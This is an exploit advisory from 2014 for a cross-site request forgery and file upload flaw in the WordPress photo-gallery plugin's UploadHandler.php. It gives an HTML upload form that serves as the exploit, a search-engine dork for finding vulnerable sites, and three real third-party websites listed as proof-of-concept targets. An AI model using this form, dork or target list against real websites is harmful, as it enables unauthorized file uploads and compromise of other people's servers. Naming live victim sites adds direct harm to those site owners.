[+] Wordpress Cross Site Request Forgery in Plugin photo-gallery
[+] Date: 07/05/2014
[+] Risk: HIGH
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: https://wordpress.org/plugins/photo-gallery/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: UploadHandler.php
[+] Dork: inurl:"wp-content/plugins/photo-gallery/filemanager"
[+] Exploit :
<form enctype="multipart/form-data"
action="http://host/wp-content/plugins/photo-gallery/filemanager/UploadHandler.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>
[+] PoC : http://klikkit.co.uk/silvio/wp-content/plugins/photo-gallery/filemanager/UploadHandler.php
http://mii-gamer.com/wp-content/plugins/photo-gallery/filemanager/UploadHandler.php
http://www.bentart.com.au/wp-content/plugins/photo-gallery/filemanager/UploadHandler.php